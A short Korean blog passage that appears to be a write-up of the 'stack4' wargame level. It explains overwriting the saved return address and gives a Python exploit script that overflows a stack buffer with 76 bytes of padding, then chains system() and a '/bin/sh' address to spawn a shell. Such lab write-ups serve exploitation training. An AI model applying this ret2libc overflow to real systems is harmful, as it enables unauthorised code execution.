이번에는 코드 플로우를 바꿔보라고 합니다.




ret를 win 함수의 주소로 바꿔줍시다.




#coding: utf-8
from struct import pack, unpack

p = lambda x: pack("<L", x)
up = lambda x: pack("<L", x)[0]

system = 0xb7ecffb0
binsh = 0xb7fb63bf
win = 0x80483f4

payload = 'A'*76
payload += p(system)
payload += 'B'*4
payload += p(binsh)

print payload


stack4.py



쉘도 따줍시다.


+ Recent posts